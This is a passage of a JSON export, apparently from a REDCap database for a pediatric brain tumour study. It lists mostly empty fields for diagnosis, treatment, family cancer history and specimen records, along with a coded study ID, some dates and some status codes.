,"metas_at_submit_site___3":"","metas_at_submit_site___4":"","metas_at_submit_site___5":"","if_other_describe_metatases_sites":"","site_prog":"","time_to_prog":"","relapse_number2_7d6":"","time_surg_prog2_a49":"","tumor_or_molecular_tests___1":"","tumor_or_molecular_tests___2":"","tumor_or_molecular_tests___3":"","tumor_or_molecular_tests___4":"","tumor_or_molecular_tests___8":"","tumor_or_molecular_tests___9":"","tumor_or_molecular_tests___10":"","tumor_or_molecular_tests___5":"","tumor_or_molecular_tests___6":"","des_tests":"","path_test_avail":"","form_status_dx":"","age":"","diagnosis_form_complete":"","date_form_completed_up":"2013-10-26","follow_up_visit_status":"2","reason_for_no_visit":"","date_of_visit_follow_up":"","clin_status":"","tumor_status2":"","relapse_death":"","diag_death":"","cause_death":"","coordinator_notes":"","form_status_u":"","subj_age":"","updates_data_form_complete":"0","treatment_status":"4","treatment_update_due_to":"","surgery":"","tumor_resection_extent":"","specimen_to_cbttc":"","sample_origin":"","radiation":"","start_date_rad":"","start_date_rad_unavail":"","stop_date_rad":"","stop_date_rad_unavail":"","rad_site":"","other_type_describe":"","rad_final_dose":"","csi_focal_dose":"","radiation_type___1":"0","radiation_type___2":"0","radiation_type___3":"0","radiation_type___4":"0","radiation_type___5":"0","radiation_type___6":"0","other_type":"","description_of_radiation_t":"","chemo":"","chemo_type":"","like_protocol_name":"","start_date_chemo":"","start_date_chemo_unavail":"","stop_date_chemo":"","stop_date_chemo_unavail":"","planned_chemo_agents":"","description_of_chemotherap":"","asct":"","treatment_complete":"","form_status_t":"","treatment_form_complete":"0","formstatus_demo":"","date_form_completed":"","general_comments":"","gender":"","subject_ethnicity":"","race___1":"","race___2":"","race___3":"","race___4":"","race___5":"","race___7":"","form_status_dm":"","demographics_form_complete":"","formstatus_medhis":"","canc_predisp_condition___1":"","canc_predisp_condition___2":"","canc_predisp_condition___3":"","canc_predisp_condition___4":"","canc_predisp_condition___5":"","canc_predisp_condition___6":"","canc_predisp_condition___7":"","describe_predis":"","germline":"","results_available":"","cancer_predis_relative":"","family_history":"","family_member___1":"","family_member___2":"","family_member___3":"","family_member___4":"","family_member___5":"","family_member___6":"","family_member___7":"","family_member___8":"","family_member___9":"","family_member___10":"","family_member___11":"","other_family_history":"","cancer_type___1":"","cancer_type___2":"","cancer_type___3":"","cancer_type___4":"","cancer_type___5":"","cancer_type___6":"","cancer_type___7":"","cancer_type___8":"","cancer_type___9":"","cancer_type___10":"","cancer_type___11":"","cancer_type___12":"","cancer_type___13":"","cancer_type___14":"","cancer_type___15":"","cancer_type___16":"","cancer_type___17":"","other_description":"","father_what_type_of_cancer___1":"","father_what_type_of_cancer___2":"","father_what_type_of_cancer___3":"","father_what_type_of_cancer___4":"","father_what_type_of_cancer___5":"","father_what_type_of_cancer___6":"","father_what_type_of_cancer___7":"","father_what_type_of_cancer___8":"","father_what_type_of_cancer___9":"","father_what_type_of_cancer___10":"","father_what_type_of_cancer___11":"","father_what_type_of_cancer___12":"","father_what_type_of_cancer___13":"","father_what_type_of_cancer___14":"","father_what_type_of_cancer___15":"","father_what_type_of_cancer___16":"","father_what_type_of_cancer___17":"","father_description_of_othe":"","sister_what_type_of_cancer___1":"","sister_what_type_of_cancer___2":"","sister_what_type_of_cancer___3":"","sister_what_type_of_cancer___4":"","sister_what_type_of_cancer___5":"","sister_what_type_of_cancer___6":"","sister_what_type_of_cancer___7":"","sister_what_type_of_cancer___8":"","sister_what_type_of_cancer___9":"","sister_what_type_of_cancer___10":"","sister_what_type_of_cancer___11":"","sister_what_type_of_cancer___12":"","sister_what_type_of_cancer___13":"","sister_what_type_of_cancer___14":"","sister_what_type_of_cancer___15":"","sister_what_type_of_cancer___16":"","sister_what_type_of_cancer___17":"","sister_description_of_othe":"","brother_what_type_of_cance___1":"","brother_what_type_of_cance___2":"","brother_what_type_of_cance___3":"","brother_what_type_of_cance___4":"","brother_what_type_of_cance___5":"","brother_what_type_of_cance___6":"","brother_what_type_of_cance___7":"","brother_what_type_of_cance___8":"","brother_what_type_of_cance___9":"","brother_what_type_of_cance___10":"","brother_what_type_of_cance___11":"","brother_what_type_of_cance___12":"","brother_what_type_of_cance___13":"","brother_what_type_of_cance___14":"","brother_what_type_of_cance___15":"","brother_what_type_of_cance___16":"","brother_what_type_of_cance___17":"","brother_description_of_oth":"","maternal_grandmother_what___1":"","maternal_grandmother_what___2":"","maternal_grandmother_what___3":"","maternal_grandmother_what___4":"","maternal_grandmother_what___5":"","maternal_grandmother_what___6":"","maternal_grandmother_what___7":"","maternal_grandmother_what___8":"","maternal_grandmother_what___9":"","maternal_grandmother_what___10":"","maternal_grandmother_what___11":"","maternal_grandmother_what___12":"","maternal_grandmother_what___13":"","maternal_grandmother_what___14":"","maternal_grandmother_what___15":"","maternal_grandmother_what___16":"","maternal_grandmother_what___17":"","maternal_grandmother_descr":"","maternal_father_cancer_type___1":"","maternal_father_cancer_type___2":"","maternal_father_cancer_type___3":"","maternal_father_cancer_type___4":"","maternal_father_cancer_type___5":"","maternal_father_cancer_type___6":"","maternal_father_cancer_type___7":"","maternal_father_cancer_type___8":"","maternal_father_cancer_type___9":"","maternal_father_cancer_type___10":"","maternal_father_cancer_type___11":"","maternal_father_cancer_type___12":"","maternal_father_cancer_type___13":"","maternal_father_cancer_type___14":"","maternal_father_cancer_type___15":"","maternal_father_cancer_type___16":"","maternal_father_cancer_type___17":"","maternal_father_descrip_other":"","paternal_mother_cancer_type___1":"","paternal_mother_cancer_type___2":"","paternal_mother_cancer_type___3":"","paternal_mother_cancer_type___4":"","paternal_mother_cancer_type___5":"","paternal_mother_cancer_type___6":"","paternal_mother_cancer_type___7":"","paternal_mother_cancer_type___8":"","paternal_mother_cancer_type___9":"","paternal_mother_cancer_type___10":"","paternal_mother_cancer_type___11":"","paternal_mother_cancer_type___12":"","paternal_mother_cancer_type___13":"","paternal_mother_cancer_type___14":"","paternal_mother_cancer_type___15":"","paternal_mother_cancer_type___16":"","paternal_mother_cancer_type___17":"","paternal_mother_descrip_other":"","paternal_father_type_cancer___1":"","paternal_father_type_cancer___2":"","paternal_father_type_cancer___3":"","paternal_father_type_cancer___4":"","paternal_father_type_cancer___5":"","paternal_father_type_cancer___6":"","paternal_father_type_cancer___7":"","paternal_father_type_cancer___8":"","paternal_father_type_cancer___9":"","paternal_father_type_cancer___10":"","paternal_father_type_cancer___11":"","paternal_father_type_cancer___12":"","paternal_father_type_cancer___13":"","paternal_father_type_cancer___14":"","paternal_father_type_cancer___15":"","paternal_father_type_cancer___16":"","paternal_father_type_cancer___17":"","paternal_father_descrip_other":"","other_what_type_of_cancer___1":"","other_what_type_of_cancer___2":"","other_what_type_of_cancer___3":"","other_what_type_of_cancer___4":"","other_what_type_of_cancer___5":"","other_what_type_of_cancer___6":"","other_what_type_of_cancer___7":"","other_what_type_of_cancer___8":"","other_what_type_of_cancer___9":"","other_what_type_of_cancer___10":"","other_what_type_of_cancer___11":"","other_what_type_of_cancer___12":"","other_what_type_of_cancer___13":"","other_what_type_of_cancer___14":"","other_what_type_of_cancer___15":"","other_what_type_of_cancer___16":"","other_what_type_of_cancer___17":"","other_description_of_other":"","unspecified_what_type_cancer___1":"","unspecified_what_type_cancer___2":"","unspecified_what_type_cancer___3":"","unspecified_what_type_cancer___4":"","unspecified_what_type_cancer___5":"","unspecified_what_type_cancer___6":"","unspecified_what_type_cancer___7":"","unspecified_what_type_cancer___8":"","unspecified_what_type_cancer___9":"","unspecified_what_type_cancer___10":"","unspecified_what_type_cancer___11":"","unspecified_what_type_cancer___12":"","unspecified_what_type_cancer___13":"","unspecified_what_type_cancer___14":"","unspecified_what_type_cancer___15":"","unspecified_what_type_cancer___16":"","unspecified_what_type_cancer___17":"","unspecified_des_other_type":"","form_status_mh":"","medical_history_complete":"","enrollment_type2":"","specimen_form_complete":"","specimen_collection_date":"","specimen_type___1":"","specimen_type___2":"","specimen_type___3":"","specimen_type___4":"","specimen_type___5":"","specimen_type___6":"","specimen_type___7":"","collection_tx_status":"","form_status_so":"","specimen_only_complete":"","recurrent":"","if_recurrent_please_descri":"","relapse_number":"","recurr_date_ofl_diagn2_c7b":"","subject_age_at_recurrence":"","path_diag2_605":"","recur_path_diag2_c0e___1":"","recur_path_diag2_c0e___17":"","recur_path_diag2_c0e___2":"","recur_path_diag2_c0e___3":"","recur_path_diag2_c0e___18":"","recur_path_diag2_c0e___5":"","recur_path_diag2_c0e___6":"","recur_path_diag2_c0e___7":"","recur_path_diag2_c0e___8":"","recur_path_diag2_c0e___19":"","recur_path_diag2_c0e___20":"","recur_path_diag2_c0e___21":"","recur_path_diag2_c0e___22":"","recur_path_diag2_c0e___10":"","recur_path_diag2_c0e___11":"","recur_path_diag2_c0e___12":"","recur_path_diag2_c0e___15":"","recur_path_diag2_c0e___16":"","recur_path_diag2_c0e___23":"","recur_path_diag2_c0e___24":"","recur_path_diag2_c0e___25":"","recur_path_diag2_c0e___26":"","recur_path_diag2_c0e___27":"","recur_path_diag2_c0e___28":"","recur_path_diag2_c0e___29":"","recur_path_diag2_c0e___30":"","recur_path_diag2_c0e___31":"","recur_path_diag2_c0e___14":"","diag_other2_cf02_e7a":"","operations_center_pat2_686":"","tumor_primary_locatio2_533___1":"","tumor_primary_locatio2_533___2":"","tumor_primary_locatio2_533___3":"","tumor_primary_locatio2_533___4":"","tumor_primary_locatio2_533___5":"","tumor_primary_locatio2_533___6":"","tumor_primary_locatio2_533___7":"","tumor_primary_locatio2_533___8":"","tumor_primary_locatio2_533___9":"","tumor_primary_locatio2_533___10":"","tumor_primary_locatio2_533___11":"","tumor_primary_locatio2_533___12":"","tumor_primary_locatio2_533___13":"","tumor_primary_locatio2_533___14":"","tumor_primary_locatio2_533___15":"","tumor_primary_locatio2_533___16":"","tumor_primary_locatio2_533___17":"","tumor_primary_locatio2_533___18":"","tumor_primary_locatio2_533___19":"","diag_other2_cf02_e7a2_a55":"","tumor_resection_exten2_7e9":"","metas_at_init_diag_desc":"","metas_at_submit":"","metas_at_submit_other":"","initial_data_form_old_complete":"","update_type":"5","monitor_only":"","monitor_only_after_surgery":"","tumor_status":"1","path_diag2_6052_f19":"","recur_path_diag2_c0e2_575___1":"0","recur_path_diag2_c0e2_575___17":"0","recur_path_diag2_c0e2_575___2":"0","recur_path_diag2_c0e2_575___3":"0","recur_path_diag2_c0e2_575___18":"0","recur_path_diag2_c0e2_575___5":"0","recur_path_diag2_c0e2_575___6":"0","recur_path_diag2_c0e2_575___7":"0","recur_path_diag2_c0e2_575___8":"0","recur_path_diag2_c0e2_575___19":"0","recur_path_diag2_c0e2_575___20":"0","recur_path_diag2_c0e2_575___21":"0","recur_path_diag2_c0e2_575___22":"0","recur_path_diag2_c0e2_575___10":"0","recur_path_diag2_c0e2_575___11":"0","recur_path_diag2_c0e2_575___12":"0","recur_path_diag2_c0e2_575___15":"0","recur_path_diag2_c0e2_575___16":"0","recur_path_diag2_c0e2_575___23":"0","recur_path_diag2_c0e2_575___24":"0","recur_path_diag2_c0e2_575___25":"0","recur_path_diag2_c0e2_575___26":"0","recur_path_diag2_c0e2_575___27":"0","recur_path_diag2_c0e2_575___28":"0","recur_path_diag2_c0e2_575___29":"0","recur_path_diag2_c0e2_575___30":"0","recur_path_diag2_c0e2_575___31":"0","recur_path_diag2_c0e2_575___14":"0","if_other_describe":"","operations_center_pat2_97f":"","tumor_primary_locatio2_f42___1":"0","tumor_primary_locatio2_f42___2":"0","tumor_primary_locatio2_f42___3":"0","tumor_primary_locatio2_f42___4":"0","tumor_primary_locatio2_f42___5":"0","tumor_primary_locatio2_f42___6":"0","tumor_primary_locatio2_f42___7":"0","tumor_primary_locatio2_f42___8":"0","tumor_primary_locatio2_f42___9":"0","tumor_primary_locatio2_f42___10":"0","tumor_primary_locatio2_f42___11":"0","tumor_primary_locatio2_f42___12":"0","tumor_primary_locatio2_f42___13":"0","tumor_primary_locatio2_f42___14":"0","tumor_primary_locatio2_f42___15":"0","tumor_primary_locatio2_f42___16":"0","tumor_primary_locatio2_f42___17":"0","tumor_primary_locatio2_f42___18":"0","tumor_primary_locatio2_f42___19":"0","if_other_describe_tl":"","tumor_resection_exten2_207":"","time_surg_prog":"","subject_age_at_recurr2_c64":"","meta_site___1":"0","meta_site___2":"0","meta_site___3":"0","meta_site___4":"0","otherdescrip":"","if_no_why":"","was_a_new_treatment_plan_i":"","why_was_new_treatment_init___1":"0","why_was_new_treatment_init___2":"0","why_was_new_treatment_init___3":"0","why_was_new_treatment_init___4":"0","new_tumor_treat2_b8b___4":"0","new_tumor_treat2_b8b___0":"0","new_tumor_treat2_b8b___1":"0","new_tumor_treat2_b8b___2":"0","new_tumor_treat2_b8b___5":"0","new_tumor_treat2_b8b___3":"0","if_other_describe_ntt":"","rad_final_dose2_cd4":"","rad_sites2_3b0":"","planned_chemo_agents2_3b0":"","therapy_desc2_05a":"","describe_study_protoc2_eb1":"","additional_tumor_molecular___1":"0","additional_tumor_molecular___2":"0","additional_tumor_molecular___3":"0","additional_tumor_molecular___4":"0","additional_tumor_molecular___5":"0","additional_tumor_molecular___6":"0","if_other_describe_att":"","test_results":"","other_status":"","reason_visit_not_completed":"1","updates_data_old_complete":"0","date_tissue_1_submitted":"","collectiontime":"","volume1":"","tissue_format1":"","date_tissue_2_submitted":"","collectiontime2_017":"","volume2":"","tissue_format2":"","date_tissue_3_submitted":"","collectiontime2_0172_40f":"","volume3":"","tissue_format3":"","date_tissue_4_submitted":"","collectiontime2_0172_2_83e":"","volume4":"","tissue_format4":"","date_tissue_5_submitted":"","collectiontime2_0172_2_e27":"","volume5":"","tissue_forma5":"","date_tissue_6_submitted":"","collectiontime2_0172_2_e9a":"","volume6":"","tissue_format6":"","date_tissue_7_submitted":"","collectiontime2_0172_2_441":"","volume62_146":"","tissue_format62_a87":"","date_tissue_8_submitted":"","collectiontime2_0172_2_f7f":"","volume62_1462_7bd":"","tissue_format62_a872_ab9":"","other_notes":"","numsamples":"","sampledate":"","date_of_child_blood_submis":"","samplevolume1":"","date_of_child_blood_s2_cb6":"","sampledate2_b77":"","samplevolume2":"","dateparentsample":"","date_paternal_blood_submit":"","parentsamplevol1":"","dateparentsample2_20e":"","date_maternal_blood_submit":"","parentsamplevol2":"","slide_format___1":"","slide_format___2":"","slide_format___3":"","numbers_of_slides":"","describe_stains_used_on_sl":"","date_slide_images_submitte":"","csfcollectiondate":"","csf_1_submission_date":"","csf_counts":"","csfvolume1":"","csfcollectiondate2_36a":"","csf_2_submission_date":"","csf_counts2_540":"","csfvolume2":"","csfcollectiondate2_362_09a":"","cfs_3_submission_date":"","csf_counts2_b0a":"","csfvolume22_930":"","please_use_this_area_to_do":"","specimen_information_form_complete":"","autopsy_type":"","autop_subj_age":"","time_init_diag_to_death":"","autop_gentest_results":"","update_type_autopsy":"","autop_relapse_death":"","autop_death_tumor":"","autop_report_status":"","autopsy_updates_data_old_complete":"","family_members":"","medical_history_form_old_complete":"","rad_sites":"","planned_rad_dose":"","planned_fractions":"","completed_fractions":"","like_protocol":"","describe_study_protocol":"","num_planned_cycles":"","num_completed_cycles":"","other_therapy":"","other_therapy_desc":"","on_study_protocol":"","arm_random":"","rad_sites_defined___1":"","rad_sites_defined___2":"","rad_sites_defined___3":"","rad_sites_defined___4":"","rad_sites_defined___5":"","rad_sites_defined___6":"","rad_sites_defined___7":"","treatment_form_old_complete":"","tumor_or_molecular_tests_d___1":"","tumor_or_molecular_tests_d___2":"","tumor_or_molecular_tests_d___3":"","tumor_or_molecular_tests_d___4":"","tumor_or_molecular_tests_d___5":"","tumor_or_molecular_tests_d___6":"","tumor_or_molecular_tests_d___7":"","diagnosis_form_old_complete":""},{"study_id":"YU80UHY3I10CBT6X:T7S9TDGK1","redcap_event_name":"30_month_update_arm_1","enrollment_type":"","autop_form_complete":"","general_comm_diagnosis":"","clinical_status_at_diagnosis":"","autop_cause_death":"","autopsy":"","diagnosis_type":"","other_med_condition___1":"","other_med_condition___2":"","other_med_condition___3":"","other_med_condition___4":"","other_med_condition___5":"","other_med_condition___6":"","other_med_condition___7":"","other_med_condition___8":"","other_med_condition___9":"","other_med_condition___10":"","other_med_condition___11":"","other_med_condition___12":"","describe":"","vps_etv":"","date_of_initial_diagnosis":"","operations_center_patholog":"","path_diag":"","init_path_diag___1":"","init_path_diag___17":"","init_path_diag___2":"","init_path_diag___3":"","init_path_diag___18":"","init_path_diag___5":"","init_path_diag___6":"","init_path_diag___7":"","init_path_diag___8":"","init_path_diag___19":"","init_path_diag___20":"","init_path_diag___21":"","init_path_diag___22":"","init_path_diag___10":"","init_path_diag___11":"","init_path_diag___12":"","init_path_diag___15":"","init_path_diag___16":"","init_path_diag___23":"","init_path_diag___24":"","init_path_diag___25":"","init_path_diag___26":"","init_path_diag___27":"","init_path_diag___28":"","init_path_diag___29":"","init_path_diag___30":"","init_path_diag___31":"","init_path_diag___14":"","init_path_diag___32":"","init_path_diag___33":"","init_path_diag___34":"","init_path_diag___35":"","init_path_diag___36":"","diag_other":"","tumor_primary_location_in___1":"","tumor_primary_location_in___2":"","tumor_primary_location_in___3":"","tumor_primary_location_in___4":"","tumor_primary_location_in___5":"","tumor_primary_location_in___6":"","tumor_primary_location_in___7":"","tumor_primary_location_in___8":"","tumor_primary_location_in___9":"","tumor_primary_location_in___10":"","tumor_primary_location_in___11":"","tumor_primary_location_in___12":"","tumor_primary_location_in___13":"","tumor_primary_location_in___14":"","tumor_primary_location_in___15":"","tumor_primary_location_in___16":"","tumor_primary_location_in___17":"","tumor_primary_location_in___18":"","tumor_primary_location_in___19":"","tumor_primary_location_in___20":"","tumor_primary_location_in___21":"","tumor_primary_location_in___22":"","tumor_primary_location_in___23":"","diag_other2_cf0":"","metas_at_init_diag":"","metas_at_submit_site___0":"","metas_at_submit_site___1":"","metas_at_submit_site___2":"","metas_at_submit_site___3":"","metas_at_submit_site___4":"","metas_at_submit_site___5":"","if_other_describe_metatases_sites":"","site_prog":"","time_to_prog":"","relapse_number2_7d6":"","time_surg_prog2_a49":"","tumor_or_molecular_tests___1":"","tumor_or_molecular_tests___2":"","tumor_or_molecular_tests___3":"","tumor_or_molecular_tests___4":"","tumor_or_molecular_tests___8":"","tumor_or_molecular_tests___9":"","tumor_or_molecular_tests___10":"","tumor_or_molecular_tests___5":"","tumor_or_molecular_tests___6":"","des_tests":"","path_test_avail":"","form_status_dx":"","age":"","diagnosis_form_complete":"","date_form_completed_up":"2014-09-12","follow_up_visit_status":"1","reason_for_no_visit":"","date_of_visit_follow_up":"","clin_status":"1","tumor_status2":"1","relapse_death":"","diag_death":"","cause_death":"","coordinator_notes":"","form_status_u":"","subj_age":"108","updates_data_form_complete":"0","treatment_status":"4","treatment_update_due_to":"","surgery":"","tumor_resection_extent":"","specimen_to_cbttc":"","sample_origin":"","radiation":"","start_date_rad":"","start_date_rad_unavail":"","stop_date_rad":"","stop_date_rad_unavail":"","rad_site":"","other_type_describe":"","rad_final_dose":"","csi_focal_dose":"","radiation_type___1":"0","radiation_type___2":"0","radiation_type___3":"0","radiation_type___4":"0","radiation_type___5":"0","radiation_type___6":"0","other_type":"","description_of_radiation_t":"","chemo":"","chemo_type":"","like_protocol_name":"","start_date_chemo":"","start_date_chemo_unavail":"","stop_date_chemo":"","stop_date_chemo_unavail":"","planned_chemo_agents":"","description_of_chemotherap":"","asct":"","treatment_complete":"","form_status_t":"","treatment_form_complete":"0","formstatus_demo":"","date_form_completed":"","general_comments":"","gender":"","subject_ethnicity":"","race___1":"","race___2":"","race___3":"","race___4":"","race___5":"","race___7":"","form_status_dm":"","demographics_form_complete":"","formstatus_medhis":"","canc_predisp_condition___1":"","canc_predisp_condition___2":"","canc_predisp_condition___3":"","canc_predisp_condition___4":"","canc_predisp_condition___5":"","canc_predisp_condition___6":"","canc_predisp_condition___7":"","describe_predis":"","germline":"","results_available":"","cancer_predis_relative":"","family_history":"","family_member___1":"","family_member___2":"","family_member___3":"","family_member___4":"","family_member___5":"","family_member___6":"","family_member___7":"","family_member___8":"","family_member___9":"","family_member___10":"","family_member___11":"","other_family_history":"","cancer_type___1":"","cancer_type___2":"","cancer_type___3":"","cancer_type___4":"","cancer_type___5":"","cancer_type___6":"","cancer_type___7":"","cancer_type___8":"","cancer_type___9":"","cancer_type___10":"","cancer_type___11":"","cancer_type___12":"","cancer_type___13":"","cancer_type___14":"","cancer_type___15":"","cancer_type___16":"","cancer_type___17":"","other_description":"","father_what_type_of_cancer___1":"","father_what_type_of_cancer___2":"","father_what_type_of_cancer___3":"","father_what_type_of_cancer___4":"","father_what_type_of_cancer___5":"","father_what_type_of_cancer___6":"","father_what_type_of_cancer___7":"","father_what_type_of_cancer___8":"","father_what_type_of_cancer___9":"","father_what_type_of_cancer___10":"","father_what_type_of_cancer___11":"","father_what_type_of_cancer___12":"","father_what_type_of_cancer___13":"","father_what_type_of_cancer___14":"","father_what_type_of_cancer___15":"","father_what_type_of_cancer___16":"","father_what_type_of_cancer___17":"","father_description_of_othe":"","sister_what_type_of_cancer___1":"","sister_what_type_of_cancer___2":"","sister_what_type_of_cancer___3":"","sister_what_type_of_cancer___4":"","sister_what_type_of_cancer___5":"","sister_what_type_of_cancer___6":"","sister_what_type_of_cancer___7":"","sister_what_type_of_cancer___8":"","sister_what_type_of_cancer___9":"","sister_what_type_of_cancer___10":"","sister_what_type_of_cancer___11":"","sister_what_type_of_cancer___12":"","sister_what_type_of_cancer___13":"","sister_what_type_of_cancer___14":"","sister_what_type_of_cancer___15":"","sister_what_type_of_cancer___16":"","sister_what_type_of_cancer___17":"","sister_description_of_othe":"","brother_what_type_of_cance___1":"","brother_what_type_of_cance___2":"","brother_what_type_of_cance___3":"","brother_what_type_of_cance___4":"","brother_what_type_of_cance___5":"","brother_what_type_of_cance___6":"","brother_what_type_of_cance___7":"","brother_what_type_of_cance___8":"","brother_what_type_of_cance___9":"","brother_what_type_of_cance___10":"","brother_what_type_of_cance___11":"","brother_what_type_of_cance___12":"","brother_what_type_of_cance___13":"","brother_what_type_of_cance___14":"","brother_what_type_of_cance___15":"","brother_what_type_of_cance___16":"","brother_what_type_of_cance___17":"","brother_description_of_oth":"","maternal_grandmother_what___1":"","maternal_grandmother_what___2":"","maternal_grandmother_what___3":"","maternal_grandmother_what___4":"","maternal_grandmother_what___5":"","maternal_grandmother_what___6":"","maternal_grandmother_what___7":"","maternal_grandmother_what___8":"","maternal_grandmother_what___9":"","maternal_grandmother_what___10":"","maternal_grandmother_what___11":"","maternal_grandmother_what___12":"","maternal_grandmother_what___13":"","maternal_grandmother_what___14":"","maternal_grandmother_what___15":"","maternal_grandmother_what___16":"","maternal_grandmother_what___17":"","maternal_grandmother_descr":"","maternal_father_cancer_type___1":"","maternal_father_cancer_type___2":"","maternal_father_cancer_type___3":"","maternal_father_cancer_type___4":"","maternal_father_cancer_type___5":"","maternal_father_cancer_type___6":"","maternal_father_cancer_type___7":"","maternal_father_cancer_type___8":"","maternal_father_cancer_type___9":"","maternal_father_cancer_type___10":"","maternal_father_cancer_type___11":"","maternal_father_cancer_type___12":"","maternal_father_cancer_type___13":"","maternal_father_cancer_type___14":"","maternal_father_cancer_type___15":"","maternal_father_cancer_type___16":"","maternal_father_cancer_type___17":"","maternal_father_descrip_other":"","paternal_mother_cancer_type___1":"","paternal_mother_cancer_type___2":"","paternal_mother_cancer_type___3":"","paternal_mother_cancer_type___4":"","paternal_mother_cancer_type___5":"","paternal_mother_cancer_type___6":"","paternal_mother_cancer_type___7":"","paternal_mother_cancer_type___8":"","paternal_mother_cancer_type___9":"","paternal_mother_cancer_type___10":"","paternal_mother_cancer_type___11":"","paternal_mother_cancer_type___12":"","paternal_mother_cancer_type___13":"","paternal_mother_cancer_type___14":"","paternal_mother_cancer_type___15":"","paternal_mother_cancer_type___16":"","paternal_mother_cancer_type___17":"","paternal_mother_descrip_other":"","paternal_father_type_cancer___1":"","paternal_father_type_cancer___2":"","paternal_father_type_cancer___3":"","paternal_father_type_cancer___4":"","paternal_father_type_cancer___5":"","paternal_father_type_cancer___6":"","paternal_father_type_cancer___7":"","paternal_father_type_cancer___8":"","paternal_father_type_cancer___9":"","paternal_father_type_cancer___10":"","paternal_father_type_cancer___11":"","paternal_father_type_cancer___12":"","paternal_father_type_cancer___13":"","paternal_father_type_cancer___14":"","paternal_father_type_cancer___15":"","paternal_father_type_cancer___16":"","paternal_father_type_cancer___17":"","paternal_father_descrip_other":"","other_what_type_of_cancer___1":"","other_what_type_of_cancer___2":"","other_what_type_of_cancer___3":"","other_what_type_of_cancer___4":"","other_what_type_of_cancer___5":"","other_what_type_of_cancer___6":"","other_what_type_of_cancer___7":"","other_what_type_of_cancer___8":"","other_what_type_of_cancer___9":"","other_what_type_of_cancer___10":"","other_what_type_of_cancer___11":"","other_what_type_of_cancer___12":"","other_what_type_of_cancer___13":"","other_what_type_of_cancer___14":"","other_what_type_of_cancer___15":"","other_what_type_of_cancer___16":"","other_what_type_of_cancer___17":"","other_description_of_other":"","unspecified_what_type_cancer___1":"","unspecified_what_type_cancer___2":"","unspecified_what_type_cancer___3":"","unspecified_what_type_cancer___4":"","unspecified_what_type_cancer___5":"","unspecified_what_type_cancer___6":"","unspecified_what_type_cancer___7":"","unspecified_what_type_cancer___8":"","unspecified_what_type_cancer___9":"","unspecified_what_type_cancer___10":"","unspecified_what_type_cancer___11":"","unspecified_what_type_cancer___12":"","unspecified_what_type_cancer___13":"","unspecified_what_type_cancer___14":"","unspecified_what_type_cancer___15":"","unspecified_what_type_cancer___16":"","unspecified_what_type_cancer___17":"","unspecified_des_other_type":"","form_status_mh":"","medical_history_complete":"","enrollment_type2":"","specimen_form_complete":"","specimen_collection_date":"","specimen_type___1":"","specimen_type___2":"","specimen_type___3":"","specimen_type___4":"","specimen_type___5":"","specimen_type___6":"","specimen_type___7":"","collection_tx_status":"","form_status_so":"","specimen_only_complete":"","recurrent":"","if_recurrent_please_descri":"","relapse_number":"","recurr_date_ofl_diagn2_c7b":"","subject_age_at_recurrence":"","path_diag2_605":"","recur_path_diag2_c0e___1":"","recur_path_diag2_c0e___17":"","recur_path_diag2_c0e___2":"","recur_path_diag2_c0e___3":"","recur_path_diag2_c0e___18":"","recur_path_diag2_c0e___5":"","recur_path_diag2_c0e___6":"","recur_path_diag2_c0e___7":"","recur_path_diag2_c0e___8":"","recur_path_diag2_c0e___19":"","recur_path_diag2_c0e___20":"","recur_path_diag2_c0e___21":"","recur_path_diag2_c0e___22":"","recur_path_diag2_c0e___10":"","recur_path_diag2_c0e___11":"","recur_path_diag2_c0e___12":"","recur_path_diag2_c0e___15":"","recur_path_diag2_c0e___16":"","recur_path_diag2_c0e___23":"","recur_path_diag2_c0e___24":"","recur_path_diag2_c0e___25":"","recur_path_diag2_c0e___26":"","recur_path_diag2_c0e___27":"","recur_path_diag2_c0e___28":"","recur_path_diag2_c0e___29":"","recur_path_diag2_c0e___30":"","recur_path_diag2_c0e___31":"","recur_path_diag2_c0e___14":"","diag_other2_cf02_e7a":"","operations_center_pat2_686":"","tumor_primary_locatio2_533___1":"","tumor_primary_locatio2_533___2":"","tumor_primary_locatio2_533___3":"","tumor_primary_locatio2_533___4":"","tumor_primary_locatio2_533___5":"","tumor_primary_locatio2_533___6":"","tumor_primary_locatio2_533___7":"","tumor_primary_locatio2_533___8":"","tumor_primary_locatio2_533___9":"","tumor_primary_locatio2_533___10":"","tumor_primary_locatio2_533___11":"","tumor_primary_locatio2_533___12":"","tumor_primary_locatio2_533___13":"","tumor_primary_locatio2_533___14":"","tumor_primary_locatio2_533___15":"","tumor_primary_locatio2_533___16":"","tumor_primary_locatio2_533___17":"","tumor_primary_locatio2_533___18":"","tumor_primary_locatio2_533___19":"","diag_other2_cf02_e7a2_a55":"","tumor_resection_exten2_7e9":"","metas_at_init_diag_desc":"","metas_at_submit":"","metas_at_submit_other":"","initial_data_form_old_complete":"","update_type":"","monitor_only":"","monitor_only_after_surgery":"","tumor_status":"","path_diag2_6052_f19":"","recur_path_diag2_c0e2_575___1":"0","recur_path_diag2_c0e2_575___17":"0","recur_path_diag2_c0e2_575___2":"0","recur_path_diag2_c0e2_575___3":"0","recur_path_diag2_c0e2_575___18":"0","recur_path_diag2_c0e2_575___5":"0","recur_path_diag2_c0e2_575___6":"0","recur_path_diag2_c0e2_575___7":"0","recur_path_diag2_c0e2_575___8":"0","recur_path_diag2_c0e2_575___19":"0","recur_path_diag2_c0e2_575___20":"0","recur_path_diag2_c0e2_575___21":"0","recur_path_diag2_c0e2_575___22":"0","recur_path_diag2_c0e2_575___10":"0","recur_path_diag2_c0e2_575___11":"0","recur_path_diag2_c0e2_575___12":"0","recur_path_diag2_c0e2_575___15":"0","recur_path_diag2_c0e2_575___16":"0","recur_path_diag2_c0e2_575___23":"0","recur_path_diag2_c0e2_575___24":"0","recur_path_diag2_c0e2_575___25":"0","recur_path_diag2_c0e2_575___26":"0","recur_path_diag2_c0e2_575___27":"0","recur_path_diag2_c0e2_575___28":"0","recur_path_diag2_c0e2_575___29":"0","recur_path_diag2_c0e2_575___30":"0","recur_path_diag2_c0e2_575___31":"0","recur_path_diag2_c0e2_575___14":"0","if_other_describe":"","operations_center_pat2_97f":"","tumor_primary_locatio2_f42___1":"0","tumor_primary_locatio2_f42___2":"0","tumor_primary_locatio2_f42___3":"0","tumor_primary_locatio2_f42___4":"0","tumor_primary_locatio2_f42___5":"0","tumor_primary_locatio2_f42___6":"0","tumor_primary_locatio2_f42___7":"0","tumor_primary_locatio2_f42___8":"0","tumor_primary_locatio2_f42___9":"0","tumor_primary_locatio2_f42___10":"0","tumor_primary_locatio2_f42___11":"0","tumor_primary_locatio2_f42___12":"0","tumor_primary_locatio2_f42___13":"0","tumor_primary_locatio2_f42___14":"0","tumor_